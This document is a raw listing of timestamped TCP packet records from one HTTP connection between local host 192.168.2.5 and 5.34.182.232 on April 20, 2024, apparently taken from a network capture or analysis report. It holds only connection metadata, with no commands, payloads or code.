Apr 20, 2024 10:22:55.248033047 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248045921 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248059034 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248061895 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248061895 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248071909 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248085976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248096943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248114109 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248121023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248136044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248138905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248148918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248162031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248163939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248179913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248184919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248191118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248198032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248203993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248215914 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248229027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248241901 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248254061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248254061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248266935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248279095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248285055 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248294115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248305082 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248306990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248321056 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248334885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248342037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248348951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248362064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248373985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248374939 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248387098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248397112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248400927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248413086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248414040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248430014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248431921 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248442888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248455048 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248466969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248472929 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248481989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248496056 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248502970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248512983 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248514891 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248526096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248533964 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248541117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248554945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248557091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248568058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248579979 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248583078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248598099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248610973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248622894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248635054 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248636007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248651981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248666048 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248671055 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248680115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248692989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248706102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248717070 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248718023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248733044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248743057 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248745918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248759985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248768091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248773098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248785973 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248786926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248800993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248814106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248822927 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248827934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248842001 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248845100 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248855114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248868942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248882055 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248893976 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248893976 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248899937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248914003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248914003 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248929977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248943090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248946905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248955965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248970032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248981953 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248984098 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248996019 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249005079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249010086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249026060 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249037027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249038935 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249051094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249063969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249063969 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249078035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249090910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249104023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249106884 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249108076 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249116898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249130964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249142885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249150038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249155998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249169111 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249182940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249191046 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249195099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249209881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249222994 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249228954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249234915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249247074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249262094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249272108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249274015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249285936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249290943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249299049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249310970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249320984 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249325991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249340057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249341011 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249352932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249366045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249378920 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249385118 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249392033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249404907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249418974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249420881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249430895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249442101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249445915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249459982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249461889 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249474049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249484062 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249488115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249502897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249507904 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249510050 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249521971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249536037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249548912 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249553919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249562025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249573946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249588013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249603033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249609947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249615908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249629974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249634027 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.249643087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.249686956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.489626884 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489700079 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489739895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489775896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489775896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.489819050 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489849091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.489856958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489897013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489917040 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.489933968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.489969969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490005970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490014076 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490045071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490068913 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490082979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490120888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490142107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490158081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490195036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490217924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490236044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490272045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490304947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490308046 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490348101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490365982 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490384102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490421057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490441084 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490458965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490499973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490514994 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490540028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490576029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490595102 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490617990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490657091 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490674973 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490694046 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490732908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490748882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490771055 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490807056 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490824938 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490845919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490883112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490895987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490921021 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490957022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.490969896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.490994930 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491031885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491050959 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491067886 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491103888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491123915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491141081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491179943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491195917 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491219044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491255045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491275072 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491292000 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491328001 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491345882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491364956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491401911 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491419077 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491441011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491477013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491496086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491513968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491549969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491574049 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491594076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491636038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491646051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491672993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491708994 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491729975 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491745949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491781950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491800070 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491820097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491856098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491877079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.491893053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491930008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491966963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.491969109 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492002964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492022038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492095947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492158890 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492168903 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492197037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492233038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492252111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492269039 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492305040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492319107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492341042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492377996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492396116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492415905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492454052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492474079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492491007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492527962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492542028 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492564917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492602110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492621899 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492640972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492676973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492695093 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492712975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492748976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492769003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492784977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492820978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492837906 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492857933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492893934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492914915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.492938042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492974043 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.492989063 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493010998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493046999 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493062019 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493083954 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493122101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493145943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493159056 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493195057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493202925 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493231058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493267059 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493287086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493304014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493340015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493356943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493376970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493412971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493429899 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493451118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493486881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493500948 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493525028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493561029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493580103 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493597031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493633032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493647099 CEST	49708	80	192.168.2.5	5.34.182.232
